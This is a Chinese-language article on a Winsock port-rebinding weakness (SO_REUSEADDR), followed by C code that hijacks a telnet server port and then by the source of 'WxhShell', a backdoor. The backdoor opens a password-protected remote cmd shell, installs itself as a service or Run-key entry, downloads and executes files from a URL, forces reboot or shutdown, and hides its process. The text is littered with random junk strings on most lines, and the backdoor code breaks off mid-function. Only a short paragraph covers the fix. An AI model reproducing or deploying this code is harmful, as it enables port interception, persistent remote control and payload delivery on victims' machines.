在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
o&,Y<$!:VH s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
}$:#+
(17 XN(tcdCG saddr.sin_family = AF_INET;
Y}/c
N\ :d({dF_k;p saddr.sin_addr.s_addr = htonl(INADDR_ANY);
k(v"B@0
<`+zvUx^? bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
AsAFUuI ~<eVl
l= 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
!;+U_j'Pg e`AUYli" 这意味着什么?意味着可以进行如下的攻击:
>HIt}Zh h>|u:]I> 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
M5 `m.n< yZ~b+=UM 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
<tW:LU(! 3I\m,Ob 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
]?#
#))RUS %yvA 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
Jh^8xI,`C '%ebcL 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
V Y_f = ig$jKou
F 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
9t}J|09i ]< +3Vw 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
?rQc<;b {NV:|M ! #include
qg)qjBQwA #include
5}7ISNP;f #include
c"qPTjY #include
0+|>-b/% DWORD WINAPI ClientThread(LPVOID lpParam);
KqK9X int main()
P>fKX2eQ- {
zU
b8NOi WORD wVersionRequested;
Vq U|kv
DWORD ret;
(,U7 R^ WSADATA wsaData;
|mvM@V;^8{ BOOL val;
H@4/#V|Uy SOCKADDR_IN saddr;
]K*GSU SOCKADDR_IN scaddr;
fzyzuS$ int err;
%}ixgs7*c0 SOCKET s;
dxntGH< O SOCKET sc;
ZBC@xM&- int caddsize;
%!yxC HANDLE mt;
pkW5D DWORD tid;
]xYa yN!n wVersionRequested = MAKEWORD( 2, 2 );
La]4/=a err = WSAStartup( wVersionRequested, &wsaData );
"5h_8k~sQ if ( err != 0 ) {
"\<P$&`HA printf("error!WSAStartup failed!\n");
Op90NZI#K return -1;
8lpzSJP4k }
97(n\Wt2 saddr.sin_family = AF_INET;
.5NZf4:C aTX]+tBoe //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
Q~b_dx{m Q<C@KBiVE saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
<0>[c<{V< saddr.sin_port = htons(23);
6}"lm]b if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
J1u@A$4l? {
ba:mO$ printf("error!socket failed!\n");
1o5Y9#7 return -1;
9$4/frd }
E&T'U2 val = TRUE;
]y)R C-N //SO_REUSEADDR选项就是可以实现端口重绑定的
X-;Qorb^ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
c}I8!*\ {
}77=<N br printf("error!setsockopt failed!\n");
\3js} return -1;
.$ P2W0G }
)T$fk //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
mMWNUkDq //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
]<= t //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
5X-(@GwN o%5Ao?z~ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
Xy<KvFy {
(8R
M|& ret=GetLastError();
Or|LyQU printf("error!bind failed!\n");
|7fBiVo return -1;
6w,xb&S }
"YZ`g}sG listen(s,2);
gk`.8o while(1)
\ed(<e> {
u] b6> caddsize = sizeof(scaddr);
R/|o?qTrj //接受连接请求
&YMj\KmlSg sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
\I]'6N= if(sc!=INVALID_SOCKET)
Q4*cL5j {
p04w83 jX mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
~Sq >c3Wn if(mt==NULL)
35T7g65; {
NKrk*I"G printf("Thread Creat Failed!\n");
Lf9h;z># break;
%Et]w }
C5z4%,`f }
2F(j=uV+ CloseHandle(mt);
N~(}?'y9S }
S]m[$)U%@ closesocket(s);
"'L SLp WSACleanup();
ImVe71mh return 0;
%94"e7Hy }
k,,}N9 DWORD WINAPI ClientThread(LPVOID lpParam)
Jt"Wtr {
Tj:F Qnx SOCKET ss = (SOCKET)lpParam;
lki(_@3 SOCKET sc;
dXhV]xK unsigned char buf[4096];
uwJkqlUOz SOCKADDR_IN saddr;
m" GrpE3 long num;
4M}/PoJ DWORD val;
>e%Po,Fg$ DWORD ret;
r%4:,{HF //如果是隐藏端口应用的话,可以在此处加一些判断
nYY U //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
~7v^7;tT saddr.sin_family = AF_INET;
&*iiQ3 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
,ic}
saddr.sin_port = htons(23);
u CXd%
CzE if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
= j - {
I
g`#U~ printf("error!socket failed!\n");
`S|gfJ return -1;
|Cm}%sgR\0 }
&
CgLF] val = 100;
+t f= if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
+e\u4k {3V {
8}&cE#@ ret = GetLastError();
x=k$^V~ return -1;
w[XW>4xK }
I`|>'$E[r if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
:}lE@Y,R {
{221@ zcCq ret = GetLastError();
Y:wds=lA return -1;
'EQAG' YV }
R9HRbVBJf if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
pP .
{
xnArYm printf("error!socket connect failed!\n");
S9.jc@#.` closesocket(sc);
W $y?~2 closesocket(ss);
*m;L.r`5[ return -1;
:c\NBKHv* }
."2V:;; while(1)
;,<s'5icyg {
%V$^CWOy //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
a P`;Nr= //如果是嗅探内容的话,可以再此处进行内容分析和记录
P?I"y,_ p //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
vO\CPb
%/ num = recv(ss,buf,4096,0);
S+He if(num>0)
V/03m3!q send(sc,buf,num,0);
Fax73vl|^a else if(num==0)
u+]zi"k^s break;
zpY8w#b num = recv(sc,buf,4096,0);
v>,XJ 7P if(num>0)
2Bx\nLf/
K send(ss,buf,num,0);
4"GY0)
Q else if(num==0)
J9o]$.e break;
2JbCYCTC }
0_ ;-QAd closesocket(ss);
5!wa\)wY closesocket(sc);
U+\\#5$ return 0 ;
RSp=If+4 }
cc@y ,i'>+Ix< \=w|Zeu{l ==========================================================
Tfj%Sb,zM
s8R.?mhH= 下边附上一个代码,,WXhSHELL
0Rj_l:d= ,Q^.SHP8 ==========================================================
rUlXx5f Wu:evaZ:i #include "stdafx.h"
$[H3O(B0* \h :$q E7 #include <stdio.h>
C}7Sh6 #include <string.h>
/CH*5w)1
#include <windows.h>
zh7NXTzyf #include <winsock2.h>
:X+7}!Wlo #include <winsvc.h>
{>90d(j #include <urlmon.h>
E-CZk_K9 [V
=O$X_ #pragma comment (lib, "Ws2_32.lib")
|SCO9,Fs #pragma comment (lib, "urlmon.lib")
,|D<De\v& >Ka}v:E #define MAX_USER 100 // 最大客户端连接数
X"*pt5B6` #define BUF_SOCK 200 // sock buffer
Ww:,O48% #define KEY_BUFF 255 // 输入 buffer
sZ_+6+ : "luMz;B #define REBOOT 0 // 重启
<8~bb-U$ #define SHUTDOWN 1 // 关机
eX>x
+]l6 DYx3NDX7 #define DEF_PORT 5000 // 监听端口
4+Wti!s JZB7?@h% #define REG_LEN 16 // 注册表键长度
zr2oU '+ #define SVC_LEN 80 // NT服务名长度
w6aq/m"' _ ZMoPEW // 从dll定义API
^z)p@sk# typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
E0G"B'x typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
JYc;6p$<i typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
r1ao=N typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
},+ &y^ V^apDV\AV // wxhshell配置信息
+8h!@ struct WSCFG {
MfQ 9d9 int ws_port; // 监听端口
j`7q7} char ws_passstr[REG_LEN]; // 口令
it77x3Mm
F int ws_autoins; // 安装标记, 1=yes 0=no
7Ji|x{`` char ws_regname[REG_LEN]; // 注册表键名
C%H{" char ws_svcname[REG_LEN]; // 服务名
ZMEU4?F char ws_svcdisp[SVC_LEN]; // 服务显示名
Q #IlUo char ws_svcdesc[SVC_LEN]; // 服务描述信息
_Fkz^B* char ws_passmsg[SVC_LEN]; // 密码输入提示信息
&L`^\B]k| int ws_downexe; // 下载执行标记, 1=yes 0=no
$raq,SP char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
O3 NI char ws_filenam[SVC_LEN]; // 下载后保存的文件名
zl $mt'\y 9lqH };
e|>
5
R P8[rp // default Wxhshell configuration
n37P$0 struct WSCFG wscfg={DEF_PORT,
mUA!GzJ~u- "xuhuanlingzhe",
Cg_9V4h.C 1,
Gn&=<q:H "Wxhshell",
q<[m(]: "Wxhshell",
,i)wS1@ "WxhShell Service",
'2XIeR "Wrsky Windows CmdShell Service",
z_f^L %J0 "Please Input Your Password: ",
#fy3i+ 1,
)5Wt(p:T6_ "
http://www.wrsky.com/wxhshell.exe",
qf
T71o( "Wxhshell.exe"
*(E]]8o };
L%;fYi;n <c3Te$. // 消息定义模块
&ea6YQ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
t#d{hEr char *msg_ws_prompt="\n\r? for help\n\r#>";
;&c9!LfP char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
Q2qT[aD, char *msg_ws_ext="\n\rExit.";
Q@ua
G,6 char *msg_ws_end="\n\rQuit.";
'D'H)J char *msg_ws_boot="\n\rReboot...";
>t#5eT`_ w char *msg_ws_poff="\n\rShutdown...";
i"#pk"@` char *msg_ws_down="\n\rSave to ";
r17"i.n (&MtK1;; char *msg_ws_err="\n\rErr!";
BEtFFi6ot char *msg_ws_ok="\n\rOK!";
0oQJ}8t LEuDDJ- char ExeFile[MAX_PATH];
_9yW; i- int nUser = 0;
lk*wM?Z HANDLE handles[MAX_USER];
% oJH 6F int OsIsNt;
hx! :F"# oP~%7Jt SERVICE_STATUS serviceStatus;
%6\L^RP SERVICE_STATUS_HANDLE hServiceStatusHandle;
?{L5=X@$$ +#L'gc // 函数声明
:{,k F int Install(void);
1}R\L" int Uninstall(void);
`
ZBOaN^if int DownloadFile(char *sURL, SOCKET wsh);
Ji.FG"h+2 int Boot(int flag);
Lb#PiTJI void HideProc(void);
:}-VLp4b int GetOsVer(void);
qND:LP\_v int Wxhshell(SOCKET wsl);
(ys<{Y-; void TalkWithClient(void *cs);
[Lcy &+ int CmdShell(SOCKET sock);
cx[[K. int StartFromService(void);
N6Dv1_c, int StartWxhshell(LPSTR lpCmdLine);
j-d542" [0D.+("EW VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
;6$W-W _ VOID WINAPI NTServiceHandler( DWORD fdwControl );
[HhaBy9 BCO (,k // 数据结构和表定义
~l('ly SERVICE_TABLE_ENTRY DispatchTable[] =
Ej $.x6: {
P6")OWd {wscfg.ws_svcname, NTServiceMain},
nub!*)q {NULL, NULL}
sf
O{.#5< };
!D!"ftOm XqGa]/;} // 自我安装
7pN&fAtj/ int Install(void)
[b3$em<^JV {
r?9".H char svExeFile[MAX_PATH];
<kJ`qbOU HKEY key;
k(xB%>ns strcpy(svExeFile,ExeFile);
?w&?P}e + !C(PfsrR/ // 如果是win9x系统,修改注册表设为自启动
ixL[(*V if(!OsIsNt) {
G.^^zmsM` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
,!98VJmr RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
3IoN. RegCloseKey(key);
LOk J if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
'~x jaa;. RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
V)mi1H|m RegCloseKey(key);
zH
*7!)8 return 0;
y*lAmO }
WwLV^m] }
` yM9XjEl> }
"g1Fg.o else {
n%{oFTLCo tSiQrI // 如果是NT以上系统,安装为系统服务
|(5|6r3 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
]& qmV if (schSCManager!=0)
LvNk:99:< {
q}["Nww- SC_HANDLE schService = CreateService
ico(4KSk (
cNG6 A4 schSCManager,
:I }_ wscfg.ws_svcname,
%DV@ 2rC< wscfg.ws_svcdisp,
%#]T.g
SERVICE_ALL_ACCESS,
q;>BltU SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
KqS2 SERVICE_AUTO_START,
vJRnBq+y SERVICE_ERROR_NORMAL,
!7*(!as svExeFile,
$J"%I$%X= NULL,
't(}Rq@ NULL,
L)F1NuR NULL,
2@ 9pr NULL,
[q-;/ed NULL
hr$Sa );
x_==Ss if (schService!=0)
9?;@*x {
\+k, :8s/ CloseServiceHandle(schService);
|3{+6cg CloseServiceHandle(schSCManager);
MZ|\S/ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
U:]MgZWn strcat(svExeFile,wscfg.ws_svcname);
)N(9pnyZH if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
7DtIVMiK RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
s`hav RegCloseKey(key);
3J%V%}mD return 0;
pkX v.D` }
4xm&pQo{V6 }
?7#7: CloseServiceHandle(schSCManager);
3Y
z]8`C }
nr OqH
}
=<{h^-j;a ~TDzq -U) return 1;
g96T*T }
+YTx
qZaO&"q // 自我卸载
S%kS#U${| int Uninstall(void)
I:#Ok+ {
kMy<G8 s HKEY key;
fk>l{W}e) {h#6z>p"u2 if(!OsIsNt) {
&Yp+k}XU if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
c/
_yMN RegDeleteValue(key,wscfg.ws_regname);
IAI(Ix RegCloseKey(key);
j 1(T )T if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
u_.HPA RegDeleteValue(key,wscfg.ws_regname);
QY@u}&m%o RegCloseKey(key);
o/cr{>"N return 0;
wcZbmJ: }
{"m0)G,G }
b3\B8:XFo| }
66Gx.tE else {
lkA^\+Ct MiJ6 n[iv SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
tMFsA`ng if (schSCManager!=0)
q#NR32byF {
$n-Af0tK SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
/b#q*x-b if (schService!=0)
KCUU#t|8V\ {
/s|{by`we4 if(DeleteService(schService)!=0) {
jWvtv ng CloseServiceHandle(schService);
6NX3"i0eT CloseServiceHandle(schSCManager);
tz4
]hF return 0;
FLZS K:3B] }
+`.,| |Mq CloseServiceHandle(schService);
:CaTP% GW }
A59gIp*> CloseServiceHandle(schSCManager);
ES}. xZ#~ }
"MnSJ2 }
:.uk$jx >w.'KR0L return 1;
GK?4@<fY }
UTCzHh1 _BS
9GB // 从指定url下载文件
gnLn7? int DownloadFile(char *sURL, SOCKET wsh)
uWjU OJEe {
r_U>VT^E: HRESULT hr;
3c #s|qW char seps[]= "/";
/L v1$~ char *token;
cp6WMHLj char *file;
s-rfS7; char myURL[MAX_PATH];
? \m3~6y char myFILE[MAX_PATH];
i]o"_=C CQ^3v09N;~ strcpy(myURL,sURL);
{]kaJ{U> token=strtok(myURL,seps);
rzeLx Wt while(token!=NULL)
`rb>K {
H&4~Uo.5 file=token;
27D!'S token=strtok(NULL,seps);
}Ln@R~[ }
t'1Y@e $_D6_|HK GetCurrentDirectory(MAX_PATH,myFILE);
7G93,dJ strcat(myFILE, "\\");
!HK^AwNY strcat(myFILE, file);
;inzyFbL= send(wsh,myFILE,strlen(myFILE),0);
6bO~/mpWT~ send(wsh,"...",3,0);
!EBY@ Y1 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
9em*r9- if(hr==S_OK)
sZhMa> return 0;
izZ=d5+K else
oxz{ ejd{ return 1;
lr@#^ QM<y`cZ8 }
6^)}PX= * c EnkU] // 系统电源模块
M+P$/Wk int Boot(int flag)
)3A{GZj#6 {
ZKpvDH' HANDLE hToken;
w:i:~f . TOKEN_PRIVILEGES tkp;
DcD{*t?x e}yX_Z'P< if(OsIsNt) {
FMw&( OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
"3CJUr:Q LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
{QAv~S>4 tkp.PrivilegeCount = 1;
TbvtqM 0 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
B4Y(?JTx AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
G$M9=@Ug if(flag==REBOOT) {
IE2"rQ T if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
e [h8}F return 0;
hfWFD, }
2x]>l?
5b else {
"SxLN
8.: if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
|SZo'
6 return 0;
g=L]S-e }
/phX'xp }
- YqYcer else {
]}="m2S3 if(flag==REBOOT) {
xM >W2 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
4*n#yVb/ return 0;
n.MRz WJpZ }
&)wiKh"$ else {
&F
*'B|n if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
z4%uN|V return 0;
MM_k
]-7 }
|077Sf| }
f"G- JCx
WWre return 1;
+d}E&=p_ }
>eQr<-8 B(a-k? // win9x进程隐藏模块
S_MyoXV void HideProc(void)
C&LBr| {
-H^oXeN <P[T!gST HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
-Xu.1S if ( hKernel != NULL )
C
(n+SY^ {
RoA?p;]< pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
xJ^>pg8 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
S1Z2_V FreeLibrary(hKernel);
@bM2{Rh: }
<9E0iz+j Ars687WB return;
]xC#rwHUC }
`e9$,h|4 Ds#/ // 获取操作系统版本
2]GdD* int GetOsVer(void)
P./V6i<: {
]V %.I_ OSVERSIONINFO winfo;
F|Mi{5G% winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
'E/*d2CDM( GetVersionEx(&winfo);
Tus}\0/i> if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
{FRAv(,\ return 1;
:q8b;*: else
xq-17HKs return 0;
5>3}_ }
q)H1pwxD Vd".u'r // 客户端句柄模块
Fc~'TBf,,` int Wxhshell(SOCKET wsl)
rG#Z=*b% {
}I3gU SOCKET wsh;
b'VV'+| struct sockaddr_in client;
gu #-O?B DWORD myID;
mj|)nOd 4}_O`Uxh while(nUser<MAX_USER)
+k
dT(7 {
<;E int nSize=sizeof(client);
0|R# Tb;Y wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
fLV"T_rk if(wsh==INVALID_SOCKET) return 1;
1;Pv0&[q/ z0|&W&&D handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
/R>nr" if(handles[nUser]==0)
2H.654 closesocket(wsh);
b-3*Nl _% else
e]jH+IR:> nUser++;
h~C.VJWl }
i)#s.6.D> WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
; 7N
Z<k !"e5~7 return 0;
sp@E8G%xO }
kdb(I@6 :4^\3~i1X // 关闭 socket
=6aS&B(SN void CloseIt(SOCKET wsh)
h" H2z1$ {
-s 6![eV closesocket(wsh);
)lJao nUser--;
3!5Ur& ExitThread(0);
]7;\E\o }
tzy'G"P| 4t)%<4 // 客户端请求句柄
:ss,Hl void TalkWithClient(void *cs)
}K8/-d6 {
$T :un.TM Rq[ M29 SOCKET wsh=(SOCKET)cs;
4%1D}9hO6 char pwd[SVC_LEN];
}du XC[ 6 char cmd[KEY_BUFF];
8foJ I^3 char chr[1];
0flg=U9 int i,j;
gKOOHUCb V138d?Mm while (nUser < MAX_USER) {
;Ag
3c+ q5>v'ZSo if(wscfg.ws_passstr) {
BUwONF if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
tK
k#LWB //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
&qS[%K ) //ZeroMemory(pwd,KEY_BUFF);
[!%![E i=0;
p$ bnK] while(i<SVC_LEN) {
W+*5"h Jv.UQ // 设置超时
MLFKH fd_set FdRead;
1Z{ZV.! struct timeval TimeOut;
YDGS}~m~Q FD_ZERO(&FdRead);
:_Eqf8T FD_SET(wsh,&FdRead);
/O]t R TimeOut.tv_sec=8;
eHDef TimeOut.tv_usec=0;
"QvmqI> int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
4e;QiTj if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
^!q?vo\j| G|\^{5 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
s&GJW@
| pwd
=chr[0]; ^[15&T5
if(chr[0]==0xd || chr[0]==0xa) { r=c<--_@
pwd=0; inlk++Og
break; %7O?JI[
} y*MF&mQ[
i++; *6(kbe s
} f{0F|w<gf
LL$_zK{
// 如果是非法用户,关闭 socket :a:l
j
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); UU8pz{/
} W-/}q0h
993d/z|DX
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `6 Y33bQ
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >7-y#SkXdo
iV)ac\
while(1) { ^E@@YV
i^%-aBZ
ZeroMemory(cmd,KEY_BUFF); SfI*bJo>V
[%.18FWI
// 自动支持客户端 telnet标准 n! .2aq
j=0; 9={N4}<
while(j<KEY_BUFF) { BF|*"#s
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F/<qE!(
cmd[j]=chr[0]; )bW5yG!
if(chr[0]==0xa || chr[0]==0xd) { \y*j4 0
cmd[j]=0; ce5nG0@#
break; ^pcRW44K
} Dr'sIH^
j++; KSOO?X0j
} VN|G5*
7Dl%UG]
// 下载文件 Qq0O0U
if(strstr(cmd,"http://")) { _W9&J&l0so
send(wsh,msg_ws_down,strlen(msg_ws_down),0); G]lvHD
if(DownloadFile(cmd,wsh)) 9--dRTG
send(wsh,msg_ws_err,strlen(msg_ws_err),0); "-U3=+
else i`~~+6`J
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eUs-5
L
} IO[^z
v4F
else { " dT>KQ
DyX0xx^
switch(cmd[0]) { Q [:<S/w
8*)4"rS
// 帮助 "UpOY
case '?': { 3uO8v{`
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); I7b i@t
break; V2QW\2@$
} [|z'"Gk{
// 安装 _FFv#R*4
case 'i': { /#IH-2N
if(Install()) 0x4l5x$8
send(wsh,msg_ws_err,strlen(msg_ws_err),0); h{H]xe[Q
else K
/ZHJkJ7
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #8E?^d
break; `=v@i9cTZ
} ?M]u$Te/.
// 卸载 U-ULQ| 6U
case 'r': { eNivlJ,K|@
if(Uninstall()) ELD
+:b
send(wsh,msg_ws_err,strlen(msg_ws_err),0); NrW [Q3E$
else sgR
9d
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z^"?sd
break; zcZ^s v>
} ]KzJ u`O%G
// 显示 wxhshell 所在路径 B piEAwh
case 'p': { [CsM<:C
char svExeFile[MAX_PATH]; YqkA&qL]#;
strcpy(svExeFile,"\n\r"); 9B&
}7kk
strcat(svExeFile,ExeFile); P%ye$SASd
send(wsh,svExeFile,strlen(svExeFile),0); v)TUg0U=,
break; *-+C<2"
} \gjl^#;
// 重启 EwC5[bRjUp
case 'b': { |:{g?4Mi
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Bc5YW-QD
if(Boot(REBOOT)) e3G7K8
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6_x}.bkIx=
else { elNB7%Y/
closesocket(wsh); T<!\B]
ExitThread(0); ~>lOl/n 5
} USH@:c#t
break; A3m{jbh
} j'#)~>b
// 关机 &9S8al
8"
case 'd': { "tEj`eR
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3}v0{c
if(Boot(SHUTDOWN)) YWybPD4\(
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 't||F1X~J
else { 9<+;hH8J_r
closesocket(wsh); Pm;x]Aj
ExitThread(0); >aNbp
} 9;}L{yve
break; "6 uTo0
} {Q}!NkF1
// 获取shell m
T>b;
case 's': { ubiQ8Bx
CmdShell(wsh); ^\xCqVk_R
closesocket(wsh); UUt~W
ExitThread(0); *##QXyyg
break; ]b5%?^Z#
} WRN8#b
// 退出 Nv}U/$$S
case 'x': { 5]A$P\7~1
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9Ba%=
CloseIt(wsh); [ flu|v
break; 5P5A,K
} cij]&$;Q
// 离开 ?uNTUU,
case 'q': { g] 7{5
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7UeE(=Hr5
closesocket(wsh); __oY:d(~
WSACleanup(); (:</R$I
exit(1); FF~on06!
break; D;16}D
} .b!OZ
} hlSB7D"d
}
o>/uW8
VuJfo9 `E
// 提示信息 I{*.htt{
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B` t6H
} v%69]a-T
} 6Y92&
|,M#8NOp:
return; t
wa(M?
} u`L!za7fi
t?Njw7
// shell模块句柄 &k%wOz1vM
int CmdShell(SOCKET sock) A$H+4L
{ o}r!qL0c
STARTUPINFO si; Eb4< 26A
ZeroMemory(&si,sizeof(si)); 7>W+Uq
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; rS,*s'G
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @@&@}IQcR1
PROCESS_INFORMATION ProcessInfo; _^ CQ*+F
char cmdline[]="cmd"; M;S-ESQ
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~]6Oz;~<3
return 0; >ji}j~cH
} #V(Hk )
z</XnN
// 自身启动模式 ]6i_d
int StartFromService(void) 2S7H_qo$
{ CwH)6uA
typedef struct $fj"*
{ =5s~$C
DWORD ExitStatus; JJbM)B@-
DWORD PebBaseAddress; ~3* ZG
DWORD AffinityMask; +"N<-
DWORD BasePriority; =w;xaxjL
ULONG UniqueProcessId; T^=Ee?e
ULONG InheritedFromUniqueProcessId; -V<=`e
